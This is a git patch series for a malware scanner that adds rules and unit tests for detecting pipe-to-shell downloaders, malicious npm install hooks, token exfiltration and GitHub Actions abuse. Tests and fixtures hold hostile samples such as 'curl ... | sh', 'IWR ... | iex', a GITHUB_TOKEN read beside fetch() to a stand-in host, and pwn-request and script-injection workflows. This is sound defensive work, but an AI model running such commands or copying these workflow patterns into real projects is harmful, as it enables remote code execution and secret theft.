test_pipe_to_usr_bin_bash(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | /usr/bin/bash") + + def test_pipe_to_sudo_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | sudo sh") + + def test_pipe_to_env_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | /usr/bin/env sh") + + def test_multi_stage_tee_to_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | tee f | sh") + + def test_tee_only_target_stays_silent(self): + found = scan_mod.scan_text( + ".vscode/tasks.json", + self.tasks_json("curl -s http://example.invalid/x.sh | tee log"), + ) + self.assertEqual(found, []) + + def test_case_insensitive_downloaders_fire(self): + for command in ( + "Curl -s http://example.invalid/x.sh | sh", + "IWR -Uri http://example.invalid/x.sh | iex", + "Invoke-WebRequest http://example.invalid/x.sh | powershell", + "WGET http://example.invalid/x.sh | bash", + ): + self.assert_task_fires(command) + + +class TestHookRuleRobustness(unittest.TestCase): + def test_malformed_json_rule_returns_empty(self): + self.assertEqual( + scan_mod.rule_hook_malicious_script("package.json", '{"scripts":'), [] + ) + + def test_malformed_json_scan_text_does_not_raise(self): + self.assertEqual(scan_mod.scan_text("package.json", '{"scripts":'), []) + + def test_deeply_nested_json_rule_returns_empty(self): + text = "[" * 200000 + "]" * 200000 + self.assertEqual(scan_mod.rule_hook_malicious_script("package.json", text), []) + + def test_deeply_nested_json_scan_text_does_not_raise(self): + text = "[" * 200000 + "]" * 200000 + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_hook_finding_reports_hook_key_line(self): + text = ( + "{\n" + ' "name": "x",\n' + ' "scripts": {\n' + ' "build": "tsc",\n' + ' "postinstall": "node -e doEvil()"\n' + " }\n" + "}\n" + ) + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "HOOK-MALICIOUS-SCRIPT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].line, 5) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_hook_base64_decode_flag_fires(self): + text = '{"scripts": {"postinstall": "base64 -d payload.txt | sh"}}\n' + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "HOOK-MALICIOUS-SCRIPT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_hook_base64_delete_flag_silent(self): + text = '{"scripts": {"postinstall": "base64 -delete stale.txt"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + def test_non_lifecycle_test_script_with_curl_pipe_sh_silent(self): + text = '{"scripts": {"test": "curl -s http://example.invalid/p | sh"}}\n' + self.assertEqual(scan_mod.scan_text("package.json", text), []) + + +class TestExfilWindow(unittest.TestCase): + TOKEN = "const t = process.env.GITHUB_TOKEN;\n" + EXFIL = 'fetch("http://example.invalid/collect");\n' + + def test_exfil_five_lines_below_token_fires(self): + text = self.TOKEN + "\n" * 4 + self.EXFIL + self.assertIn( + "STEAL-TOKEN-EXFIL", {f.rule for f in scan_mod.scan_text("probe.js", text)} + ) + + def test_exfil_six_lines_below_token_silent(self): + text = self.TOKEN + "\n" * 5 + self.EXFIL + self.assertEqual(scan_mod.scan_text("probe.js", text), []) + + def test_exfil_five_lines_above_token_fires(self): + text = self.EXFIL + "\n" * 4 + self.TOKEN + self.assertIn( + "STEAL-TOKEN-EXFIL", {f.rule for f in scan_mod.scan_text("probe.js", text)} + ) + + def test_exfil_six_lines_above_token_silent(self): + text = self.EXFIL + "\n" * 5 + self.TOKEN + self.assertEqual(scan_mod.scan_text("probe.js", text), []) + + if __name__ == "__main__": unittest.main() From 9257b40a39439c42b9a03616f29fb8018f5e56e1 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 20:06:58 +0100 Subject: [PATCH 18/31] feat(malware-scan): GitHub Actions abuse rules with secrets escalation --- scripts/malware-scan/scan.py | 163 ++++++++++++++ .../benign/.github/workflows/workflow.yml | 8 + .../malicious/.github/workflows/injection.yml | 8 + .../.github/workflows/pwn-request.yml | 10 + .../.github/workflows/unpinned-secrets.yml | 8 + tests/malware-scan/test_scan.py | 209 ++++++++++++++++++ 6 files changed, 406 insertions(+) create mode 100644 tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml create mode 100644 tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml create mode 100644 tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml create mode 100644 tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 0e2bfca..d1b5381 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -302,6 +302,169 @@ def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: TEXT_RULES.extend([rule_polin_vscode_tasks, rule_steal_token_exfil, rule_hook_malicious_script]) +WF_EXTS = (".yml", ".yaml") +KEY_LINE_RE = re.compile(r"^(\s*(?:-\s+)?)([A-Za-z_][\w.-]*)\s*:(?:[ \t]|$)(.*)$") +COLLECTION_LINE_RE = re.compile(r"^\s*(?:-\s|[A-Za-z_][\w.-]*\s*:(?:[ \t]|$))") +ON_KEY_RE = re.compile(r"^on\s*:(?:[ \t]|$)(.*)$") +PR_TARGET_WORD_RE = re.compile(r"(? bool: + p = Path(path) + return p.suffix in WF_EXTS and ".github" in p.parts and "workflows" in p.parts + + +def _strip_yaml_comment(line: str) -> str: + m = re.search(r"(?:^|\s)#", line) + return line[: m.start()] if m else line + + +def _indent_of(line: str) -> int: + return len(line) - len(line.lstrip()) + + +def _find_pr_target_trigger(lines: list[str]) -> int: + in_on = False + on_indent = 0 + for i, ln in enumerate(lines, 1): + stripped = ln.strip() + if not stripped or stripped.startswith("#"): + continue + m = ON_KEY_RE.match(ln) + if m and not in_on: + in_on = True + on_indent = _indent_of(ln) + rest = _strip_yaml_comment(m.group(1)).strip() + if rest[:1] in ("|", ">"): + continue + if rest: + if PR_TARGET_WORD_RE.search(rest): + return i + in_on = False + continue + if in_on: + if _indent_of(ln) <= on_indent: + in_on = False + continue + if PR_TARGET_WORD_RE.search(_strip_yaml_comment(ln)): + return i + return 0 + + +def rule_wf_pwn_request(path: str, text: str) -> list[Finding]: + if not _is_workflow(path) or "pull_request_target" not in text: + return [] + trigger_line = _find_pr_target_trigger(text.splitlines()) + if not trigger_line: + return [] + if PR_HEAD_REF_RE.search(text): + return [Finding( + "WF-PR-TARGET-CHECKOUT", "BLOCK", path, trigger_line, + "pull_request_target workflow checks out untrusted PR head " + "(pwn-request pattern)", + )] + return [Finding( + "WF-PR-TARGET-CHECKOUT", "WARN", path, trigger_line, + "pull_request_target without head checkout — verify no untrusted " + "input reaches run steps", + )] + + +def _value_spans(lines: list[str]) -> list[tuple[int, int, str]]: + """Spans (start, end, key) of YAML mapping-value scalars: key line plus + continuation lines. Collection values yield a single-line span so their + items are walked as structure, not scalar content.""" + spans: list[tuple[int, int, str]] = [] + i, n = 0, len(lines) + while i < n: + m = KEY_LINE_RE.match(lines[i]) + if not m: + i += 1 + continue + key_col = len(m.group(1)) + key = m.group(2) + rest = _strip_yaml_comment(m.group(3)).strip() + is_block = rest[:1] in ("|", ">") + if not rest and not is_block: + k = i + 1 + while k < n and not lines[k].strip(): + k += 1 + if k < n and _indent_of(lines[k]) > key_col and COLLECTION_LINE_RE.match(lines[k]): + spans.append((i, i + 1, key)) + i += 1 + continue + j = i + 1 + while j < n: + ln = lines[j] + if not ln.strip(): + if is_block: + j += 1 + continue + break + if _indent_of(ln) <= key_col: + break + j += 1 + spans.append((i, j, key)) + i = j + return spans + + +def rule_wf_script_injection(path: str, text: str) -> list[Finding]: + if not _is_workflow(path) or "${{" not in text: + return [] + out = [] + lines = text.splitlines() + for start, end, key in _value_spans(lines): + if key != "run": + continue + for j in range(start, end): + for m in EVENT_EXPR_RE.finditer(lines[j]): + out.append(Finding( + "WF-SCRIPT-INJECTION", "BLOCK", path, j + 1, + f"untrusted expression {m.group(0)} interpolated into run:", + )) + return out + + +def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: + if not _is_workflow(path) or "uses" not in text: + return [] + lines = text.splitlines() + scalar_content: set[int] = set() + for start, end, _key in _value_spans(lines): + scalar_content.update(range(start + 1, end)) + secrets_bearer = any( + SECRETS_KEY_RE.match(ln) + for i, ln in enumerate(lines) + if i not in scalar_content + ) + out = [] + for i, ln in enumerate(lines): + if i in scalar_content or ln.lstrip().startswith("#"): + continue + if SHA_PINNED_RE.match(ln): + continue + m = USES_LINE_RE.match(ln) + if not m: + continue + name, ref = m.group(1), m.group(2) + out.append(Finding( + "WF-UNPINNED-ACTION", "BLOCK" if secrets_bearer else "WARN", path, i + 1, + f"action {name} pinned to ref {ref!r} instead of a full commit SHA", + )) + return out + + +TEXT_RULES.extend([rule_wf_pwn_request, rule_wf_script_injection, rule_wf_unpinned_action]) + + def _include_file(q: Path) -> bool: if q.is_symlink() or not q.is_file(): return False diff --git a/tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml b/tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml new file mode 100644 index 0000000..516de7c --- /dev/null +++ b/tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml @@ -0,0 +1,8 @@ +name: x +on: pull_request +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 + - run: echo ok diff --git a/tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml b/tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml new file mode 100644 index 0000000..076e01a --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml @@ -0,0 +1,8 @@ +name: x +on: issue_comment +jobs: + j: + runs-on: ubuntu-latest + steps: + - run: | + echo "Hello ${{ github.event.issue.title }}" diff --git a/tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml b/tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml new file mode 100644 index 0000000..370fb6b --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml @@ -0,0 +1,10 @@ +name: x +on: pull_request_target +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: ${{ github.event.pull_request.head.sha }} + - run: npm test diff --git a/tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml b/tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml new file mode 100644 index 0000000..8025459 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml @@ -0,0 +1,8 @@ +name: x +on: push +jobs: + j: + runs-on: ubuntu-latest + secrets: inherit + steps: + - uses: some/action@v1 diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 2415db7..9f41791 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -542,5 +542,214 @@ def test_exfil_six_lines_above_token_silent(self): self.assertEqual(scan_mod.scan_text("probe.js", text), []) +class TestWorkflowRules(unittest.TestCase): + def test_pwn_request_pattern(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "pwn-request.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + self.assertEqual(hits[0].line, 2) + + def test_pwn_request_block_trigger_form(self): + text = ( + "name: x\n" + "on:\n" + " pull_request_target:\n" + " types: [opened]\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: actions/checkout@v4\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + self.assertEqual(hits[0].line, 3) + + def test_pull_request_target_without_head_checkout_is_warn(self): + text = ( + "name: x\n" + "on: pull_request_target\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: npm test\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-PR-TARGET-CHECKOUT"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + def test_script_injection(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "injection.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "WF-SCRIPT-INJECTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].line, 8) + + def test_script_injection_single_line_run(self): + text = ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + ' - run: echo "Hello ${{ github.event.issue.title }}"\n' + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertIn("WF-SCRIPT-INJECTION", {f.rule for f in found}) + + def test_unpinned_action_with_secrets_is_block(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "unpinned-secrets.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_unpinned_action_without_secrets_is_warn(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: some/action@v1\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + def test_pinned_workflow_clean(self): + p = FIXTURES / "benign" / ".github" / "workflows" / "workflow.yml" + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), []) + + +class TestWorkflowFalsePositives(unittest.TestCase): + def test_pwn_request_content_outside_workflows_not_flagged(self): + p = FIXTURES / "malicious" / ".github" / "workflows" / "pwn-request.yml" + for path in ("pwn-request.yml", "ci/pwn-request.yml"): + found = scan_mod.scan_text(path, p.read_text()) + self.assertEqual([f for f in found if f.rule.startswith("WF-")], [], path) + + def test_expression_in_yaml_comment_not_flagged(self): + text = ( + "name: x\n" + "on: issue_comment\n" + "# ${{ github.event.issue.title }}\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo ok\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-SCRIPT-INJECTION"], []) + + def test_expression_in_step_name_not_flagged(self): + for text in ( + ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - name: ${{ github.event.issue.title }}\n" + " run: echo ok\n" + ), + ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo ok\n" + " name: ${{ github.event.issue.title }}\n" + ), + ): + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual( + [f for f in found if f.rule == "WF-SCRIPT-INJECTION"], [], text + ) + + def test_sha_pinned_action_with_secrets_not_flagged(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " secrets: inherit\n" + " steps:\n" + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-UNPINNED-ACTION"], []) + + def test_uses_looking_text_in_block_scalar_not_flagged(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: some/action@0123456789abcdef0123456789abcdef01234567\n" + " with:\n" + " config: |\n" + " uses: fake/action@v1\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual([f for f in found if f.rule == "WF-UNPINNED-ACTION"], []) + + def test_secrets_looking_text_in_block_scalar_does_not_escalate(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: some/action@v1\n" + " with:\n" + " script: |\n" + " secrets: not-a-real-declaration\n" + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + +class TestWorkflowReDoS(unittest.TestCase): + def test_200kb_unclosed_event_expr_run_block_scans_fast(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: |\n" + + (" ${{ github.event." + "x" * 64 + "\n") * 2500 + ) + self.assertGreaterEqual(len(text), 200_000) + t0 = time.monotonic() + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + elapsed = time.monotonic() - t0 + self.assertLess(elapsed, 2.0) + self.assertEqual(found, []) + + if __name__ == "__main__": unittest.main() From 224aedfea2b72ba272621082f74283fb07132c82 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 21:58:19 +0100 Subject: [PATCH 19/31] fix(malware-scan): per-job secrets escalation, case-safe SHA pins, and workflow rule precision --- scripts/malware-scan/scan.py | 168 +++++++++++++++++++++--- tests/malware-scan/test_scan.py | 223 ++++++++++++++++++++++++++++++++ 2 files changed, 374 insertions(+), 17 deletions(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index d1b5381..cf973d5 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -312,8 +312,6 @@ def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: r"\$\{\{[ \t]*github\.(?:event\.[^}\n]{0,512}|head_ref)[ \t]*\}\}" ) USES_LINE_RE = re.compile(r"^\s*(?:-\s+)?uses\s*:\s*([^@\s]+)@(\S+)") -SHA_PINNED_RE = re.compile(r"^\s*(?:-\s+)?uses\s*:\s*[^@\s]+@[0-9a-f]{40}\b") -SECRETS_KEY_RE = re.compile(r"^\s*secrets\s*:(?:[ \t]|$)") def _is_workflow(path: str) -> bool: @@ -322,8 +320,22 @@ def _is_workflow(path: str) -> bool: def _strip_yaml_comment(line: str) -> str: - m = re.search(r"(?:^|\s)#", line) - return line[: m.start()] if m else line + quote = "" + i, n = 0, len(line) + while i < n: + c = line[i] + if quote: + if quote == '"' and c == "\\": + i += 2 + continue + if c == quote: + quote = "" + elif c in ("'", '"'): + quote = c + elif c == "#" and (i == 0 or line[i - 1] in " \t"): + return line[:i] + i += 1 + return line def _indent_of(line: str) -> int: @@ -358,13 +370,87 @@ def _find_pr_target_trigger(lines: list[str]) -> int: return 0 +STEP_MARKER_RE = re.compile(r"^(\s*)-\s") +CHECKOUT_ACTION_RE = re.compile(r"(?:^|/)checkout(?:/|$)") + + +def _step_span(lines: list[str], i: int) -> tuple[int, int]: + """(start, end) of the steps-sequence item containing line i, sliced by + the '-' marker indent. Comment and blank lines are not boundaries.""" + ind = _indent_of(lines[i]) + m = STEP_MARKER_RE.match(lines[i]) + if m: + start, marker_col = i, len(m.group(1)) + else: + start, marker_col = i, ind + for j in range(i - 1, -1, -1): + ln = lines[j] + if not ln.strip() or ln.lstrip().startswith("#"): + continue + li = _indent_of(ln) + if li < ind: + mk = STEP_MARKER_RE.match(ln) + if mk: + start, marker_col = j, li + break + end = len(lines) + for j in range(start + 1, len(lines)): + ln = lines[j] + if not ln.strip() or ln.lstrip().startswith("#"): + continue + if _indent_of(ln) <= marker_col: + end = j + break + return start, end + + +def _step_checks_out_head( + lines: list[str], + spans: list[tuple[int, int, str]], + chains: dict[int, tuple[str, ...]], + start: int, + end: int, +) -> bool: + for s, e, key in spans: + if s < start or s >= end: + continue + chain = chains[s] + if key == "ref": + for j in range(s, e): + if PR_HEAD_REF_RE.search(_strip_yaml_comment(lines[j])): + return True + elif key == "with" or "with" in chain: + if PR_HEAD_REF_RE.search(_strip_yaml_comment(lines[s])): + return True + return False + + +def _checks_out_untrusted_head(lines: list[str]) -> bool: + spans = _value_spans(lines) + chains = _key_chains(lines) + scalar_content: set[int] = set() + for s, e, _key in spans: + scalar_content.update(range(s + 1, e)) + for i, ln in enumerate(lines): + if i in scalar_content or ln.lstrip().startswith("#"): + continue + m = USES_LINE_RE.match(ln) + if not m or not CHECKOUT_ACTION_RE.search(m.group(1)): + continue + start, end = _step_span(lines, i) + if _step_checks_out_head(lines, spans, chains, start, end): + return True + return False + + def rule_wf_pwn_request(path: str, text: str) -> list[Finding]: if not _is_workflow(path) or "pull_request_target" not in text: return [] - trigger_line = _find_pr_target_trigger(text.splitlines()) + lines = text.splitlines() + trigger_line = _find_pr_target_trigger(lines) if not trigger_line: return [] - if PR_HEAD_REF_RE.search(text): + if _checks_out_untrusted_head(lines): return [Finding( "WF-PR-TARGET-CHECKOUT", "BLOCK", path, trigger_line, "pull_request_target workflow checks out untrusted PR head " @@ -421,42 +507,90 @@ def rule_wf_script_injection(path: str, text: str) -> list[Finding]: return [] out = [] lines = text.splitlines() + chains = _key_chains(lines) for start, end, key in _value_spans(lines): if key != "run": continue + if "with" in chains[start][:-1]: + continue + m = KEY_LINE_RE.match(lines[start]) + is_block = _strip_yaml_comment(m.group(3)).strip()[:1] in ("|", ">") for j in range(start, end): - for m in EVENT_EXPR_RE.finditer(lines[j]): + scan = lines[j] if (is_block and j > start) else _strip_yaml_comment(lines[j]) + for match in EVENT_EXPR_RE.finditer(scan): out.append(Finding( "WF-SCRIPT-INJECTION", "BLOCK", path, j + 1, - f"untrusted expression {m.group(0)} interpolated into run:", + f"untrusted expression {match.group(0)} interpolated into run:", )) return out +def _key_chains(lines: list[str]) -> dict[int, tuple[str, ...]]: + """Map each _value_spans key-line index to its full key path + (outermost key first, including the key itself). Block-scalar + bodies are excluded because _value_spans consumes them.""" + chains: dict[int, tuple[str, ...]] = {} + stack: list[tuple[int, tuple[str, ...]]] = [] + for start, _end, key in _value_spans(lines): + m = KEY_LINE_RE.match(lines[start]) + col = len(m.group(1)) + while stack and stack[-1][0] >= col: + stack.pop() + chain = (stack[-1][1] if stack else ()) + (key,) + chains[start] = chain + stack.append((col, chain)) + return chains + + +def _job_blocks(chains: dict[int, tuple[str, ...]]) -> list[tuple[str, int]]: + """(job_id, key-line index) for each job under the root jobs: key, + in document order.""" + starts = [ + (i, chain[-1]) + for i, chain in chains.items() + if len(chain) == 2 and chain[0] == "jobs" + ] + starts.sort() + return [(job_id, i) for i, job_id in starts] + + +def _job_id_at(job_blocks: list[tuple[str, int]], index: int) -> str | None: + current = None + for job_id, start in job_blocks: + if start > index: + break + current = job_id + return current + + def rule_wf_unpinned_action(path: str, text: str) -> list[Finding]: if not _is_workflow(path) or "uses" not in text: return [] lines = text.splitlines() scalar_content: set[int] = set() - for start, end, _key in _value_spans(lines): + spans = _value_spans(lines) + for start, end, _key in spans: scalar_content.update(range(start + 1, end)) - secrets_bearer = any( - SECRETS_KEY_RE.match(ln) - for i, ln in enumerate(lines) - if i not in scalar_content - ) + chains = _key_chains(lines) + jobs = _job_blocks(chains) + secrets_jobs = { + chain[1] + for chain in chains.values() + if len(chain) == 3 and chain[0] == "jobs" and chain[2] == "secrets" + } out = [] for i, ln in enumerate(lines): if i in scalar_content or ln.lstrip().startswith("#"): continue - if SHA_PINNED_RE.match(ln): - continue m = USES_LINE_RE.match(ln) if not m: continue name, ref = m.group(1), m.group(2) + if re.fullmatch(r"[0-9a-fA-F]{40}", ref.strip("'\"")): + continue + severity = "BLOCK" if _job_id_at(jobs, i) in secrets_jobs else "WARN" out.append(Finding( - "WF-UNPINNED-ACTION", "BLOCK" if secrets_bearer else "WARN", path, i + 1, + "WF-UNPINNED-ACTION", severity, path, i + 1, f"action {name} pinned to ref {ref!r} instead of a full commit SHA", )) return out diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 9f41791..5244dde 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -751,5 +751,228 @@ def test_200kb_unclosed_event_expr_run_block_scans_fast(self): self.assertEqual(found, []) +class TestUnpinnedActionJobScope(unittest.TestCase): + @staticmethod + def unpinned_uses(name: str, ref: str = "v1") -> str: + return f" - uses: {name}@{ref}\n" + + def test_secrets_escalation_is_per_job(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " a:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + self.unpinned_uses("some/action") + + " b:\n" + " runs-on: ubuntu-latest\n" + " secrets: inherit\n" + " steps:\n" + + self.unpinned_uses("other/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = {(f.line, f.severity) for f in found if f.rule == "WF-UNPINNED-ACTION"} + self.assertIn((7, "WARN"), hits, found) + self.assertIn((12, "BLOCK"), hits, found) + + def test_workflow_call_secrets_definition_does_not_escalate(self): + text = ( + "name: x\n" + "on:\n" + " workflow_call:\n" + " secrets:\n" + " token:\n" + " required: true\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + self.unpinned_uses("some/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN", found) + + def test_env_key_named_secrets_does_not_escalate(self): + text = ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " env:\n" + " secrets: x\n" + " steps:\n" + + self.unpinned_uses("some/action") + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN", found) + + +class TestShaPinningPrecision(unittest.TestCase): + HEX = "0123456789abcdef0123456789abcdef01234567" + + def pinned_uses(self, ref: str) -> str: + return ( + "name: x\n" + "on: push\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + f" - uses: some/action@{ref}\n" + ) + + def assert_pin_silent(self, ref: str) -> None: + found = scan_mod.scan_text(".github/workflows/wf.yml", self.pinned_uses(ref)) + self.assertEqual( + [f for f in found if f.rule == "WF-UNPINNED-ACTION"], [], ref + ) + + def assert_pin_fires(self, ref: str) -> None: + found = scan_mod.scan_text(".github/workflows/wf.yml", self.pinned_uses(ref)) + hits = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertEqual(len(hits), 1, ref) + self.assertEqual(hits[0].severity, "WARN", ref) + + def test_lowercase_sha_pin_silent(self): + self.assert_pin_silent(self.HEX) + + def test_uppercase_sha_pin_silent(self): + self.assert_pin_silent(self.HEX.upper()) + + def test_mixed_case_sha_pin_silent(self): + self.assert_pin_silent("0123456789ABCDEF0123456789abcdef01234567") + + def test_sha_with_suffix_fires(self): + self.assert_pin_fires(self.HEX + "-abc") + + def test_sha_with_dot_suffix_fires(self): + self.assert_pin_fires(self.HEX + ".1") + + +class TestPrTargetCheckoutPrecision(unittest.TestCase): + def pr_target(self, *steps: str) -> str: + return ( + "name: x\n" + "on: pull_request_target\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + "".join(steps) + ) + + def pr_target_hits(self, text: str): + return [f for f in scan_mod.scan_text(".github/workflows/wf.yml", text) + if f.rule == "WF-PR-TARGET-CHECKOUT"] + + def test_head_ref_only_in_yaml_comment_is_warn(self): + for step in ( + " - run: npm test\n" + " # ${{ github.event.pull_request.head.sha }}\n", + " - run: npm test # ${{ github.head_ref }}\n", + ): + hits = self.pr_target_hits(self.pr_target(step)) + self.assertEqual(len(hits), 1, step) + self.assertEqual(hits[0].severity, "WARN", step) + + def test_head_ref_in_run_echo_without_checkout_is_warn(self): + text = self.pr_target(" - run: echo ${{ github.head_ref }}\n") + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + inj = [f for f in scan_mod.scan_text(".github/workflows/wf.yml", text) + if f.rule == "WF-SCRIPT-INJECTION"] + self.assertEqual(len(inj), 1) + self.assertEqual(inj[0].severity, "BLOCK") + + def test_nonqualifying_checkout_with_head_ref_elsewhere_is_warn(self): + text = self.pr_target( + " - uses: actions/checkout@0123456789abcdef0123456789abcdef01234567\n" + " - run: echo ${{ github.event.pull_request.head.sha }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "WARN") + + def test_checkout_with_ref_head_sha_is_block(self): + text = self.pr_target( + " - uses: actions/checkout@v4\n" + " with:\n" + " ref: ${{ github.event.pull_request.head.sha }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + def test_checkout_with_head_ref_expr_is_block(self): + text = self.pr_target( + " - name: c\n" + " uses: actions/checkout@v4\n" + " with:\n" + " ref: ${{ github.head_ref }}\n", + ) + hits = self.pr_target_hits(text) + self.assertEqual(len(hits), 1) + self.assertEqual(hits[0].severity, "BLOCK") + + +class TestScriptInjectionBoundaries(unittest.TestCase): + def injection_hits(self, *steps: str): + text = ( + "name: x\n" + "on: issue_comment\n" + "jobs:\n" + " j:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + + "".join(steps) + ) + return [f for f in scan_mod.scan_text(".github/workflows/wf.yml", text) + if f.rule == "WF-SCRIPT-INJECTION"] + + def 